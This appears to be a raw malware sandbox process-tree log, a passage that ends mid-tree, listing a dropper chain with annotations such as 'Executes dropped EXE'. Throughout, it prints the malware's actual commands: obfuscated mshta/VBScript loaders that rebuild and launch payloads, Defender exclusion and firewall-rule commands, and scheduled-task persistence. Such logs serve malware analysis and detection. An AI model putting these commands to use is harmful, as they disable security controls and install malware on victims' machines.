C:\Users\Admin\Pictures\Adobe Films\XhKmteb_ZCCFC4WN1GthSNDW.exe"C:\Users\Admin\Pictures\Adobe Films\XhKmteb_ZCCFC4WN1GthSNDW.exe"7⤵PID:5948
-
-
C:\Users\Admin\Pictures\Adobe Films\NsEROCCokX4MjeRVjTAeMgsU.exe"C:\Users\Admin\Pictures\Adobe Films\NsEROCCokX4MjeRVjTAeMgsU.exe"7⤵
- Executes dropped EXE
PID:5564
-
-
C:\Users\Admin\Pictures\Adobe Films\DJgoaUXmPayrgRS5__0d4d_r.exe"C:\Users\Admin\Pictures\Adobe Films\DJgoaUXmPayrgRS5__0d4d_r.exe"7⤵
- Executes dropped EXE
PID:5044
-
-
C:\Users\Admin\Pictures\Adobe Films\iRrTBjalkH8p5iBY2U8rXPRk.exe"C:\Users\Admin\Pictures\Adobe Films\iRrTBjalkH8p5iBY2U8rXPRk.exe"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1196 -
C:\Users\Admin\Documents\RPAdijhrmCKojdn5YdWDoeFt.exe"C:\Users\Admin\Documents\RPAdijhrmCKojdn5YdWDoeFt.exe"8⤵PID:7144
-
C:\Users\Admin\Pictures\Adobe Films\o6f2EIOaHl6zmAZOhWqZRm6b.exe"C:\Users\Admin\Pictures\Adobe Films\o6f2EIOaHl6zmAZOhWqZRm6b.exe"9⤵PID:4132
-
-
C:\Users\Admin\Pictures\Adobe Films\IQdEq6cttIWnsL18ToWDyxxL.exe"C:\Users\Admin\Pictures\Adobe Films\IQdEq6cttIWnsL18ToWDyxxL.exe"9⤵PID:2208
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2208 -s 174010⤵
- Program crash
PID:5636
-
-
-
C:\Users\Admin\Pictures\Adobe Films\9cFkzrqAtu2T9xidMMLBckRt.exe"C:\Users\Admin\Pictures\Adobe Films\9cFkzrqAtu2T9xidMMLBckRt.exe"9⤵PID:6984
-
-
C:\Users\Admin\Pictures\Adobe Films\SJOk8aNAuS_FiSUJ7TUZUXhv.exe"C:\Users\Admin\Pictures\Adobe Films\SJOk8aNAuS_FiSUJ7TUZUXhv.exe"9⤵PID:2556
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\SJOk8aNAuS_FiSUJ7TUZUXhv.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\SJOk8aNAuS_FiSUJ7TUZUXhv.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )10⤵PID:6292
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\SJOk8aNAuS_FiSUJ7TUZUXhv.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\SJOk8aNAuS_FiSUJ7TUZUXhv.exe" ) do taskkill -f -iM "%~NxM"11⤵PID:5984
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "SJOk8aNAuS_FiSUJ7TUZUXhv.exe"12⤵
- Kills process with taskkill
PID:5428
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\oRPdz5KEJXUS9gqO3U1Or9WD.exe"C:\Users\Admin\Pictures\Adobe Films\oRPdz5KEJXUS9gqO3U1Or9WD.exe"9⤵PID:232
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 232 -s 29610⤵
- Program crash
PID:7532
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sHcUtllRHGgTbboDEUexreuH.exe"C:\Users\Admin\Pictures\Adobe Films\sHcUtllRHGgTbboDEUexreuH.exe"9⤵PID:5080
-
-
C:\Users\Admin\Pictures\Adobe Films\01PEMfFJhc8kzgHvGPKn2PgS.exe"C:\Users\Admin\Pictures\Adobe Films\01PEMfFJhc8kzgHvGPKn2PgS.exe"9⤵
- Loads dropped DLL
PID:6436 -
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=110⤵PID:7332
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"11⤵PID:3648
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1e0,0x210,0x7ff8ed70dec0,0x7ff8ed70ded0,0x7ff8ed70dee012⤵PID:1108
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x13c,0x140,0x144,0x118,0x148,0x7ff643829e70,0x7ff643829e80,0x7ff643829e9013⤵PID:7284
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1728,12552716495702983166,15771166068304831405,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw3648_1163786102" --mojo-platform-channel-handle=1756 /prefetch:812⤵PID:7764
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\VW4qClZwjy5f7C2tyNOjWN6M.exe"C:\Users\Admin\Pictures\Adobe Films\VW4qClZwjy5f7C2tyNOjWN6M.exe"9⤵PID:5624
-
C:\Users\Admin\AppData\Local\Temp\is-3PVDL.tmp\VW4qClZwjy5f7C2tyNOjWN6M.tmp"C:\Users\Admin\AppData\Local\Temp\is-3PVDL.tmp\VW4qClZwjy5f7C2tyNOjWN6M.tmp" /SL5="$1051E,506127,422400,C:\Users\Admin\Pictures\Adobe Films\VW4qClZwjy5f7C2tyNOjWN6M.exe"10⤵PID:7576
-
C:\Users\Admin\AppData\Local\Temp\is-NOVRU.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-NOVRU.tmp\DYbALA.exe" /S /UID=270911⤵PID:6952
-
C:\Users\Admin\AppData\Local\Temp\0e-fec06-888-b5fa8-a32855b963497\Kotopaekaeny.exe"C:\Users\Admin\AppData\Local\Temp\0e-fec06-888-b5fa8-a32855b963497\Kotopaekaeny.exe"12⤵PID:6784
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qk5uynnc.vl3\GcleanerEU.exe /eufive & exit13⤵PID:5876
-
C:\Users\Admin\AppData\Local\Temp\qk5uynnc.vl3\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\qk5uynnc.vl3\GcleanerEU.exe /eufive14⤵PID:2004
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2004 -s 23615⤵
- Suspicious use of SetThreadContext
- Program crash
PID:2376
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\51x0l15i.rxu\installer.exe /qn CAMPAIGN="654" & exit13⤵PID:3556
-
C:\Users\Admin\AppData\Local\Temp\51x0l15i.rxu\installer.exeC:\Users\Admin\AppData\Local\Temp\51x0l15i.rxu\installer.exe /qn CAMPAIGN="654"14⤵PID:2560
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\51x0l15i.rxu\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\51x0l15i.rxu\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1636128755 /qn CAMPAIGN=""654"" " CAMPAIGN="654"15⤵PID:7216
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\xx1k10ls.df1\any.exe & exit13⤵PID:5404
-
C:\Users\Admin\AppData\Local\Temp\xx1k10ls.df1\any.exeC:\Users\Admin\AppData\Local\Temp\xx1k10ls.df1\any.exe14⤵PID:2084
-
C:\Users\Admin\AppData\Local\Temp\xx1k10ls.df1\any.exe"C:\Users\Admin\AppData\Local\Temp\xx1k10ls.df1\any.exe" -u15⤵PID:6376
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qfe4rtd4.z0o\gcleaner.exe /mixfive & exit13⤵PID:7576
-
C:\Users\Admin\AppData\Local\Temp\qfe4rtd4.z0o\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\qfe4rtd4.z0o\gcleaner.exe /mixfive14⤵PID:6004
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6004 -s 24015⤵
- Program crash
PID:5272
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rkuqsgjo.pns\autosubplayer.exe /S & exit13⤵PID:7896
-
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\DW1CDNCDLzs_tw0PNQXhoZUc.exe"C:\Users\Admin\Pictures\Adobe Films\DW1CDNCDLzs_tw0PNQXhoZUc.exe"9⤵PID:1588
-
C:\Users\Admin\Pictures\Adobe Films\DW1CDNCDLzs_tw0PNQXhoZUc.exe"C:\Users\Admin\Pictures\Adobe Films\DW1CDNCDLzs_tw0PNQXhoZUc.exe" -u10⤵PID:3316
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:5168
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
PID:2676
-
-
-
C:\Users\Admin\Pictures\Adobe Films\_UBN957gQu4KgcarCm2Dw15s.exe"C:\Users\Admin\Pictures\Adobe Films\_UBN957gQu4KgcarCm2Dw15s.exe"7⤵PID:5696
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5696 -s 3368⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:1488
-
-
-
C:\Users\Admin\Pictures\Adobe Films\o5XnNgulbZb0ykbkrjwImzZl.exe"C:\Users\Admin\Pictures\Adobe Films\o5XnNgulbZb0ykbkrjwImzZl.exe"7⤵
- Executes dropped EXE
PID:5752 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5752 -s 7328⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:4632
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sLNi8id4km1oNZf0rIwrMNvn.exe"C:\Users\Admin\Pictures\Adobe Films\sLNi8id4km1oNZf0rIwrMNvn.exe"7⤵PID:3096
-
-
C:\Users\Admin\Pictures\Adobe Films\o6xMumEyYNuf2a7Dqj2l0r33.exe"C:\Users\Admin\Pictures\Adobe Films\o6xMumEyYNuf2a7Dqj2l0r33.exe"7⤵
- Executes dropped EXE
PID:4804
-
-
C:\Users\Admin\Pictures\Adobe Films\09YiuYZ42R21QouIHA7C9O4_.exe"C:\Users\Admin\Pictures\Adobe Films\09YiuYZ42R21QouIHA7C9O4_.exe"7⤵PID:5976
-
C:\Users\Admin\Pictures\Adobe Films\09YiuYZ42R21QouIHA7C9O4_.exe"C:\Users\Admin\Pictures\Adobe Films\09YiuYZ42R21QouIHA7C9O4_.exe"8⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:6904
-
-
-
C:\Users\Admin\Pictures\Adobe Films\5LmBM8BWBgEzYR_tMgJ6AmxQ.exe"C:\Users\Admin\Pictures\Adobe Films\5LmBM8BWBgEzYR_tMgJ6AmxQ.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4072
-
-
C:\Users\Admin\Pictures\Adobe Films\iLw9fyr_FwC7qbha07LLQcYq.exe"C:\Users\Admin\Pictures\Adobe Films\iLw9fyr_FwC7qbha07LLQcYq.exe"7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5304 -
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"8⤵PID:3280
-
-
-
C:\Users\Admin\Pictures\Adobe Films\itqGqmvvssszw7Ygz6pNgw6P.exe"C:\Users\Admin\Pictures\Adobe Films\itqGqmvvssszw7Ygz6pNgw6P.exe"7⤵
- Executes dropped EXE
PID:2416
-
-
C:\Users\Admin\Pictures\Adobe Films\UKvz5eOfl1XWdPO4I9RJuOnx.exe"C:\Users\Admin\Pictures\Adobe Films\UKvz5eOfl1XWdPO4I9RJuOnx.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
PID:2064
-
-
C:\Users\Admin\Pictures\Adobe Films\LCTCnh3hIT9uabUyLHDAD8H5.exe"C:\Users\Admin\Pictures\Adobe Films\LCTCnh3hIT9uabUyLHDAD8H5.exe"7⤵
- Executes dropped EXE
PID:3132 -
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exeC:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:2376 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"9⤵PID:6668
-
-
-
C:\Users\Admin\AppData\Roaming\Underdress.exeC:\Users\Admin\AppData\Roaming\Underdress.exe8⤵PID:2788
-
C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"9⤵PID:1532
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\f41HQUZJLSVgj22dH4X9OAQF.exe"C:\Users\Admin\Pictures\Adobe Films\f41HQUZJLSVgj22dH4X9OAQF.exe"7⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:976 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\8⤵PID:4108
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \8⤵PID:6580
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Executes dropped EXE
PID:3096
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:1076
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV19⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5976
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes8⤵PID:6976
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM8⤵
- Creates scheduled task(s)
PID:6516
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal8⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6224 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\9⤵PID:8180
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \9⤵PID:4984
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes9⤵PID:5340
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV110⤵PID:5176
-
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes9⤵PID:7712
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\tsocqlXNQ7dLECORHV3WRsA9.exe"C:\Users\Admin\Pictures\Adobe Films\tsocqlXNQ7dLECORHV3WRsA9.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5992
-
-
C:\Users\Admin\Pictures\Adobe Films\BzsOV6_VIr1a9SoNkGa5MXG9.exe"C:\Users\Admin\Pictures\Adobe Films\BzsOV6_VIr1a9SoNkGa5MXG9.exe"7⤵
- Executes dropped EXE
PID:4064
-
-
C:\Users\Admin\Pictures\Adobe Films\8IcVYfWiyNe1AfZuyQMGq4GD.exe"C:\Users\Admin\Pictures\Adobe Films\8IcVYfWiyNe1AfZuyQMGq4GD.exe"7⤵
- Executes dropped EXE
PID:5248 -
C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"8⤵PID:5636
-
C:\Users\Admin\AppData\Local\3590742.exe"C:\Users\Admin\AppData\Local\3590742.exe"9⤵PID:4220
-
-
C:\Users\Admin\AppData\Local\8190839.exe"C:\Users\Admin\AppData\Local\8190839.exe"9⤵PID:2128
-
-
C:\Users\Admin\AppData\Local\1006059.exe"C:\Users\Admin\AppData\Local\1006059.exe"9⤵PID:7040
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\1006059.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\1006059.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))10⤵PID:3344
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\1006059.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\1006059.exe" ) do taskkill -f -Im "%~NXZ"11⤵PID:7704
-
C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i12⤵PID:6276
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))13⤵PID:3128
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"14⤵PID:5736
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )13⤵PID:1528
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *14⤵PID:5292
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"15⤵PID:2324
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EChO "15⤵PID:3704
-
-
C:\Windows\SysWOW64\control.execontrol ..\WfNRfms4.K15⤵PID:6468
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K16⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6340 -
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K17⤵PID:6812
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K18⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2128
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -Im "1006059.exe"12⤵
- Kills process with taskkill
PID:1448
-
-
-
-
-
C:\Users\Admin\AppData\Local\4291581.exe"C:\Users\Admin\AppData\Local\4291581.exe"9⤵PID:5520
-
-
C:\Users\Admin\AppData\Local\4496560.exe"C:\Users\Admin\AppData\Local\4496560.exe"9⤵PID:3932
-
-
-
C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"8⤵PID:3648
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3648 -s 2969⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3776
-
-
-
C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"8⤵PID:6200
-
-
C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"8⤵PID:6436
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵PID:6784
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"10⤵PID:7152
-
C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi11⤵
- Loads dropped DLL
PID:4176 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )12⤵PID:6752
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"13⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3684
-
-
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )12⤵PID:7412
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC13⤵PID:2792
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"14⤵
- Blocklisted process makes network request
- Executes dropped EXE
PID:5696
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHo "14⤵PID:7100
-
-
C:\Windows\SysWOW64\msiexec.exemsiexec -Y ..\lXQ2g.WC14⤵PID:7324
-
-
-
-
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "search_hyperfs_206.exe"11⤵
- Kills process with taskkill
PID:6372
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe"8⤵PID:6792
-
C:\Users\Admin\AppData\Local\Temp\is-E7CML.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-E7CML.tmp\setup.tmp" /SL5="$203D0,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"9⤵PID:4176
-
C:\Users\Admin\AppData\Local\Temp\setup.exe"C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT10⤵PID:5740
-
C:\Users\Admin\AppData\Local\Temp\is-VFN40.tmp\setup.tmp"C:\Users\Admin\AppData\Local\Temp\is-VFN40.tmp\setup.tmp" /SL5="$12004A,1570064,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT11⤵
- Loads dropped DLL
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
PID:6688 -
